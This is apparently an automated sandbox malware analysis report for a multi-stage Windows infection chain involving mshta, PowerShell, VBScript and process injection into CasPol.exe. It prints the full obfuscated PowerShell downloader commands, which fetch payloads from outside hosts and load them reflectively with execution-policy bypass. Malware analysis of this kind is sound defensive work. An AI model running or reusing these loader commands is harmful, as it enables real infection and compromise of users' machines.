Source: powershell.exe, 00000003.00000002.1302780296.00000000034A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Vom/fwlink/?LinkID=390791"MSFT_NetEventVmNetworkAdatper.format.ps1xml

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

API call chain: ExitProcess graph end node

graph_18-48194

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Yara detected Powershell download and execute

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 18_2_0043A65D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

18_2_0043A65D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

18_2_0041BCE3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 18_2_00442554 mov eax, dword ptr fs:[00000030h]

18_2_00442554

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 18_2_0044E92E GetProcessHeap,

18_2_0044E92E

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_00434168 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	18_2_00434168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_0043A65D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_0043A65D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_00433B44 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_00433B44
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_00433CD7 SetUnhandledExceptionFilter,	18_2_00433CD7

HIPS / PFW / Operating System Protection Evasion

Source: Yara match	File source: amsi32_7724.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7724, type: MEMORYSTR

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICR2ZXJCb1NlcHJFRmVyZU5DZS5UT3N0ckluRygpWzEsM10rJ1gnLUpPaU4nJykoKCdvcGlpbWFnZVVybCA9IGlmZGh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0JysnNXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmgnKydtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9JysnZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgaWZkO29waXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7b3BpaW1hZ2VCeXRlcyA9IG9waXdlYkNsaWVudC5Eb3dubG9hZERhdGEob3BpaW1hZ2VVcmwpO29waWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKG8nKydwaWltYWdlQnl0ZXMpO29waXN0YXJ0RmxhZyA9IGlmZDw8QkFTRTY0X1NUQVJUPj5pZmQ7b3BpZW5kRmxhZyA9IGlmZDw8QkFTRTY0X0VORD4+aWZkO29waXN0YXJ0SW5kZXggPSBvcGlpbWFnZVRleHQuSW5kZXhPZihvJysncGlzJysndGFydEZsYWcpO29waWVuZEluZGV4ID0gb3BpaW1hZ2VUZXh0LkluZGV4T2Yob3BpZW5kRmxhZyk7b3Bpc3RhcnRJbmRleCAtJysnZ2UgMCAtYW5kIG9waWVuZEluZGV4IC1ndCBvcGlzdGFydEluZGUnKyd4O29waXN0YXJ0SW5kZXggKz0gb3Bpc3RhcnRGbGFnLkxlbmd0aDtvcCcrJ2liYXNlNjRMZW5ndGggPSBvcGllbmRJbmRleCAtIG9waXN0YXJ0SW5kZXg7b3BpYmFzZTY0Q29tbWFuZCA9IG9waWltYWdlVGV4dC5TdWJzdCcrJ3Jpbmcob3Bpc3RhcnQnKydJbmRleCwgb3BpYmFzZTY0TGVuZ3RoKTtvcGliYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luIChvcGliYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgMFEnKydsIEZvckVhY2gtT2JqZWN0IHsgb3BpXyB9KVsnKyctMS4uLShvcGliYXNlNjRDb21tYW5kLkxlbmd0aCldO29waWNvbW1hbmRCeXRlcyA9IFtTeScrJ3N0ZW0uQ29udicrJ2UnKydydF06OkZyb21CYXNlJysnNjRTdHJpbmcob3BpYmFzZTY0UmV2ZXJzZWQpO29waWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW8nKyduLkFzc2VtYmx5XTo6TG9hZChvcGljb21tYW5kQnl0ZXMpO29waXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoaWYnKydkVkFJaWZkJysnKTtvcGl2YWlNZXRob2QuSW52b2tlKG9waW51bGwsIEAoaWZkdHh0LkdERFJESC81NC85Mi4nKycwMjIuMy4yOTEvLzpwdHRoaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRDYXNQb2xpZmQsIGlmZGRlc2F0aXYnKydhZG8nKydpZmQsIGlmZGRlc2F0JysnaXZhZG9pZmQsaWZkZGVzYXRpdmFkb2lmZCxpZmRkZXNhdGl2YWRvaWZkLGlmZGRlc2F0aXZhZG9pZmQsaWZkZGVzYXRpdmFkb2lmZCxpZmRkZXNhdCcrJ2l2YWRvaWZkLGlmZDFpZmQsaWZkZGVzYXRpdmFkb2lmJysnZCkpOycpLnJlUExBQ2UoJzBRbCcsW1N0cmluR11bQ2hBcl0xMjQpLnJlUExBQ2UoJ2lmZCcsW1N0cmluR11bQ2hBcl0zOSkucmVQTEFDZSgoW0NoQXJdMTExK1tDaEFyXTExMitbQ2hBcl0xMDUpLCckJykp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 401000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 457000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 470000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 476000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 47B000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 6BC008	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe

18_2_00410F36

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 18_2_00418754 mouse_event,

18_2_00418754

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WiNdowsPowErshELL\V1.0\PoWersHeLl.exe" "POWerSHelL.eXE -Ex bYPAsS -NOp -W 1 -C dEvICeCredEntIaldepLoYmENT ; INVokE-EXpreSSIOn($(iNVOke-eXPResSIon('[systEM.teXt.Encoding]'+[cHAR]58+[CHaR]0X3A+'uTF8.GeTsTring([SySTEM.CoNveRT]'+[CHar]58+[cHar]0X3a+'frombASe64StRing('+[chAr]34+'JDV0ZiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10eXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1CZXJEZWZJbklUaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT24uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUY2tWTGosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFZJVixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRVhsblBKcnBOUWMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiRWp6LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5WlZTc0RNZGRPKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpQXl3bmkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQU1lU1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSXJSeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ1dGY6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yMjAuMjkvNDUvc2VlaGF2aW5nZmFjaW5nYmVzdHRoaWduc3RvZ2V0bWViYWNrd2l0aGVudGlyZXRpbWVncmVhdC50SUYiLCIkRU5WOkFQUERBVEFcc2VlaGF2aW5nZmFjaW5nYmVzdHRoaWduc3RvZ2V0bWViYWNrd2l0aGVudGlyZXRpbWVncmUudmJTIiwwLDApO3N0QXJULXNsRUVwKDMpO0lFWCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXHNlZWhhdmluZ2ZhY2luZ2Jlc3R0aGlnbnN0b2dldG1lYmFja3dpdGhlbnRpcmV0aW1lZ3JlLnZiUyI='+[chaR]34+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex bYPAsS -NOp -W 1 -C dEvICeCredEntIaldepLoYmENT	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2c1bgmxj\2c1bgmxj.cmdline"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seehavingfacingbestthignstogetmebackwithentiretimegre.vbS"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES883E.tmp" "c:\Users\user\AppData\Local\Temp\2c1bgmxj\CSC89B293BFADB94B3BBFCBA07F5ADB38CA.TMP"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICR2ZXJCb1NlcHJFRmVyZU5DZS5UT3N0ckluRygpWzEsM10rJ1gnLUpPaU4nJykoKCdvcGlpbWFnZVVybCA9IGlmZGh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0JysnNXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmgnKydtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9JysnZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgaWZkO29waXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7b3BpaW1hZ2VCeXRlcyA9IG9waXdlYkNsaWVudC5Eb3dubG9hZERhdGEob3BpaW1hZ2VVcmwpO29waWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKG8nKydwaWltYWdlQnl0ZXMpO29waXN0YXJ0RmxhZyA9IGlmZDw8QkFTRTY0X1NUQVJUPj5pZmQ7b3BpZW5kRmxhZyA9IGlmZDw8QkFTRTY0X0VORD4+aWZkO29waXN0YXJ0SW5kZXggPSBvcGlpbWFnZVRleHQuSW5kZXhPZihvJysncGlzJysndGFydEZsYWcpO29waWVuZEluZGV4ID0gb3BpaW1hZ2VUZXh0LkluZGV4T2Yob3BpZW5kRmxhZyk7b3Bpc3RhcnRJbmRleCAtJysnZ2UgMCAtYW5kIG9waWVuZEluZGV4IC1ndCBvcGlzdGFydEluZGUnKyd4O29waXN0YXJ0SW5kZXggKz0gb3Bpc3RhcnRGbGFnLkxlbmd0aDtvcCcrJ2liYXNlNjRMZW5ndGggPSBvcGllbmRJbmRleCAtIG9waXN0YXJ0SW5kZXg7b3BpYmFzZTY0Q29tbWFuZCA9IG9waWltYWdlVGV4dC5TdWJzdCcrJ3Jpbmcob3Bpc3RhcnQnKydJbmRleCwgb3BpYmFzZTY0TGVuZ3RoKTtvcGliYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luIChvcGliYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgMFEnKydsIEZvckVhY2gtT2JqZWN0IHsgb3BpXyB9KVsnKyctMS4uLShvcGliYXNlNjRDb21tYW5kLkxlbmd0aCldO29waWNvbW1hbmRCeXRlcyA9IFtTeScrJ3N0ZW0uQ29udicrJ2UnKydydF06OkZyb21CYXNlJysnNjRTdHJpbmcob3BpYmFzZTY0UmV2ZXJzZWQpO29waWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW8nKyduLkFzc2VtYmx5XTo6TG9hZChvcGljb21tYW5kQnl0ZXMpO29waXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoaWYnKydkVkFJaWZkJysnKTtvcGl2YWlNZXRob2QuSW52b2tlKG9waW51bGwsIEAoaWZkdHh0LkdERFJESC81NC85Mi4nKycwMjIuMy4yOTEvLzpwdHRoaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRDYXNQb2xpZmQsIGlmZGRlc2F0aXYnKydhZG8nKydpZmQsIGlmZGRlc2F0JysnaXZhZG9pZmQsaWZkZGVzYXRpdmFkb2lmZCxpZmRkZXNhdGl2YWRvaWZkLGlmZGRlc2F0aXZhZG9pZmQsaWZkZGVzYXRpdmFkb2lmZCxpZmRkZXNhdCcrJ2l2YWRvaWZkLGlmZDFpZmQsaWZkZGVzYXRpdmFkb2lmJysnZCkpOycpLnJlUExBQ2UoJzBRbCcsW1N0cmluR11bQ2hBcl0xMjQpLnJlUExBQ2UoJ2lmZCcsW1N0cmluR11bQ2hBcl0zOSkucmVQTEFDZSgoW0NoQXJdMTExK1tDaEFyXTExMitbQ2hBcl0xMDUpLCckJykp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $verBoSeprEFereNCe.TOstrInG()[1,3]+'X'-JOiN'')(('opiimageUrl = ifdhttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvStGrnTICfFh'+'mTKj3LC6SQtIcOc_T35w&pk_vid='+'fd4f614bb209c62c1730945176a0904f ifd;opiwebClient = New-Object System.Net.WebClient;opiimageBytes = opiwebClient.DownloadData(opiimageUrl);opiimageText = [System.Text.Encoding]::UTF8.GetString(o'+'piimageBytes);opistartFlag = ifd<<BASE64_START>>ifd;opiendFlag = ifd<<BASE64_END>>ifd;opistartIndex = opiimageText.IndexOf(o'+'pis'+'tartFlag);opiendIndex = opiimageText.IndexOf(opiendFlag);opistartIndex -'+'ge 0 -and opiendIndex -gt opistartInde'+'x;opistartIndex += opistartFlag.Length;op'+'ibase64Length = opiendIndex - opistartIndex;opibase64Command = opiimageText.Subst'+'ring(opistart'+'Index, opibase64Length);opibase64Reversed = -jo'+'in (opibase64Command.ToCharArray() 0Q'+'l ForEach-Object { opi_ })['+'-1..-(opibase64Command.Length)];opicommandBytes = [Sy'+'stem.Conv'+'e'+'rt]::FromBase'+'64String(opibase64Reversed);opiloadedAssembly = [System.Reflectio'+'n.Assembly]::Load(opicommandBytes);opivaiMethod = [dnlib.IO.Home].GetMethod(if'+'dVAIifd'+');opivaiMethod.Invoke(opinull, @(ifdtxt.GDDRDH/54/92.'+'022.3.291//:ptthifd, ifddesativadoifd, ifddesativadoifd, ifddesativadoifd, ifdCasPolifd, ifddesativ'+'ado'+'ifd, ifddesat'+'ivadoifd,ifddesativadoifd,ifddesativadoifd,ifddesativadoifd,ifddesativadoifd,ifddesat'+'ivadoifd,ifd1ifd,ifddesativadoif'+'d));').rePLACe('0Ql',[StrinG][ChAr]124).rePLACe('ifd',[StrinG][ChAr]39).rePLACe(([ChAr]111+[ChAr]112+[ChAr]105),'$'))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]34+'jdv0ziagicagicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagicagigfkzc10exblicagicagicagicagicagicagicagicagicagicagicagic1tzw1czxjezwzjbkluaw9oicagicagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcj1ckxnt24uzexmiiwgicagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagicbuy2twtgosc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagifzjvixzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicagrvhsblbkcnbouwmsdwludcagicagicagicagicagicagicagicagicagicagicagicbirwp6leludfb0ciagicagicagicagicagicagicagicagicagicagicagicb5wlztc0rnzgrpktsnicagicagicagicagicagicagicagicagicagicagicagic1oyw1ficagicagicagicagicagicagicagicagicagicagicagicjpqxl3bmkiicagicagicagicagicagicagicagicagicagicagicagic1oqu1lu1bhq2ugicagicagicagicagicagicagicagicagicagicagicagsxjseiagicagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicagicq1dgy6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xotiumy4ymjaumjkvnduvc2vlagf2aw5nzmfjaw5nymvzdhroawduc3rvz2v0bwviywnrd2l0agvudglyzxrpbwvncmvhdc50suyilcikru5wokfquerbvefcc2vlagf2aw5nzmfjaw5nymvzdhroawduc3rvz2v0bwviywnrd2l0agvudglyzxrpbwvncmuudmjtiiwwldapo3n0qxjulxnsruvwkdmpo0lfwcagicagicagicagicagicagicagicagicagicagicagicaijevodjpbufbeqvrbxhnlzwhhdmluz2zhy2luz2jlc3r0aglnbnn0b2dldg1lymfja3dpdghlbnrpcmv0aw1lz3jllnziuyi='+[char]34+'))')))"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'jiaoicr2zxjcb1nlchjfrmvyzu5dzs5ut3n0cklurygpwzesm10rj1gnluppau4njykokcdvcglpbwfnzvvybca9iglmzgh0dhbzoi8vmtaxny5mawxlbwfpbc5jb20vyxbpl2zpbguvz2v0p2zpbgvrzxk9mkfhx2jxbzlszxu0jysnnxq3qluxa1znc2q5cfq5cgdtu2x2u3rhcm5usunmrmgnkydtvetqm0xdnlnrdeljt2nfvdm1dyzwa192awq9jysnzmq0zjyxngjimja5yzyyyze3mza5nduxnzzhmdkwngygawzko29waxdlyknsawvudca9ie5ldy1pymply3qgu3lzdgvtlk5ldc5xzwjdbgllbnq7b3bpaw1hz2vcexrlcya9ig9waxdlyknsawvudc5eb3dubg9hzerhdgeob3bpaw1hz2vvcmwpo29wawltywdlvgv4dca9ifttexn0zw0uvgv4dc5fbmnvzgluz106olvurjgur2v0u3ryaw5nkg8nkydwawltywdlqnl0zxmpo29waxn0yxj0rmxhzya9iglmzdw8qkftrty0x1nuqvjupj5pzmq7b3bpzw5krmxhzya9iglmzdw8qkftrty0x0vord4+awzko29waxn0yxj0sw5kzxggpsbvcglpbwfnzvrlehqusw5kzxhpzihvjysncglzjysndgfydezsywcpo29wawvuzeluzgv4id0gb3bpaw1hz2vuzxh0lkluzgv4t2yob3bpzw5krmxhzyk7b3bpc3rhcnrjbmrlecatjysnz2ugmcatyw5kig9wawvuzeluzgv4ic1ndcbvcglzdgfydeluzgunkyd4o29waxn0yxj0sw5kzxggkz0gb3bpc3rhcnrgbgfnlkxlbmd0adtvcccrj2liyxnlnjrmzw5ndgggpsbvcgllbmrjbmrlecatig9waxn0yxj0sw5kzxg7b3bpymfzzty0q29tbwfuzca9ig9wawltywdlvgv4dc5tdwjzdccrj3jpbmcob3bpc3rhcnqnkydjbmrlecwgb3bpymfzzty0tgvuz3rokttvcgliyxnlnjrszxzlcnnlzca9ic1qbycrj2luichvcgliyxnlnjrdb21tyw5kllrvq2hhckfycmf5kckgmfenkydsiezvckvhy2gtt2jqzwn0ihsgb3bpxyb9kvsnkyctms4ulshvcgliyxnlnjrdb21tyw5klkxlbmd0acldo29wawnvbw1hbmrcexrlcya9ifttescrj3n0zw0uq29udicrj2unkydydf06okzyb21cyxnljysnnjrtdhjpbmcob3bpymfzzty0umv2zxjzzwqpo29wawxvywrlzefzc2vtymx5id0gw1n5c3rlbs5szwzszwn0aw8nkydulkfzc2vtymx5xto6tg9hzchvcgljb21tyw5kqnl0zxmpo29waxzhau1ldghvzca9iftkbmxpyi5jty5ib21lxs5hzxrnzxrob2qoawynkydkvkfjawzkjysnkttvcgl2ywlnzxrob2qusw52b2tlkg9waw51bgwsieaoawzkdhh0lkderfjesc81nc85mi4nkycwmjiumy4yotevlzpwdhroawzklcbpzmrkzxnhdgl2ywrvawzklcbpzmrkzxnhdgl2ywrvawzklcbpzmrkzxnhdgl2ywrvawzklcbpzmrdyxnqb2xpzmqsiglmzgrlc2f0axynkydhzg8nkydpzmqsiglmzgrlc2f0jysnaxzhzg9pzmqsawzkzgvzyxrpdmfkb2lmzcxpzmrkzxnhdgl2ywrvawzklglmzgrlc2f0axzhzg9pzmqsawzkzgvzyxrpdmfkb2lmzcxpzmrkzxnhdccrj2l2ywrvawzklglmzdfpzmqsawzkzgvzyxrpdmfkb2lmjysnzckpoycplnjluexbq2uojzbrbccsw1n0cmlur11bq2hbcl0xmjqplnjluexbq2uoj2lmzccsw1n0cmlur11bq2hbcl0zoskucmvqtefdzsgow0noqxjdmtexk1tdaefyxtexmitbq2hbcl0xmduplcckjykp';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "& ( $verbosepreference.tostring()[1,3]+'x'-join'')(('opiimageurl = ifdhttps://1017.filemail.com/api/file/get?filekey=2aa_bwo9reu4'+'5t7bu1kvgsd9pt9pgsslvstgrnticffh'+'mtkj3lc6sqticoc_t35w&pk_vid='+'fd4f614bb209c62c1730945176a0904f ifd;opiwebclient = new-object system.net.webclient;opiimagebytes = opiwebclient.downloaddata(opiimageurl);opiimagetext = [system.text.encoding]::utf8.getstring(o'+'piimagebytes);opistartflag = ifd<<base64_start>>ifd;opiendflag = ifd<<base64_end>>ifd;opistartindex = opiimagetext.indexof(o'+'pis'+'tartflag);opiendindex = opiimagetext.indexof(opiendflag);opistartindex -'+'ge 0 -and opiendindex -gt opistartinde'+'x;opistartindex += opistartflag.length;op'+'ibase64length = opiendindex - opistartindex;opibase64command = opiimagetext.subst'+'ring(opistart'+'index, opibase64length);opibase64reversed = -jo'+'in (opibase64command.tochararray() 0q'+'l foreach-object { opi_ })['+'-1..-(opibase64command.length)];opicommandbytes = [sy'+'stem.conv'+'e'+'rt]::frombase'+'64string(opibase64reversed);opiloadedassembly = [system.reflectio'+'n.assembly]::load(opicommandbytes);opivaimethod = [dnlib.io.home].getmethod(if'+'dvaiifd'+');opivaimethod.invoke(opinull, @(ifdtxt.gddrdh/54/92.'+'022.3.291//:ptthifd, ifddesativadoifd, ifddesativadoifd, ifddesativadoifd, ifdcaspolifd, ifddesativ'+'ado'+'ifd, ifddesat'+'ivadoifd,ifddesativadoifd,ifddesativadoifd,ifddesativadoifd,ifddesativadoifd,ifddesat'+'ivadoifd,ifd1ifd,ifddesativadoif'+'d));').replace('0ql',[string][char]124).replace('ifd',[string][char]39).replace(([char]111+[char]112+[char]105),'$'))"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]0x3a+'frombase64string('+[char]34+'jdv0ziagicagicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagicagigfkzc10exblicagicagicagicagicagicagicagicagicagicagicagic1tzw1czxjezwzjbkluaw9oicagicagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcj1ckxnt24uzexmiiwgicagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagicbuy2twtgosc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagifzjvixzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicagrvhsblbkcnbouwmsdwludcagicagicagicagicagicagicagicagicagicagicagicbirwp6leludfb0ciagicagicagicagicagicagicagicagicagicagicagicb5wlztc0rnzgrpktsnicagicag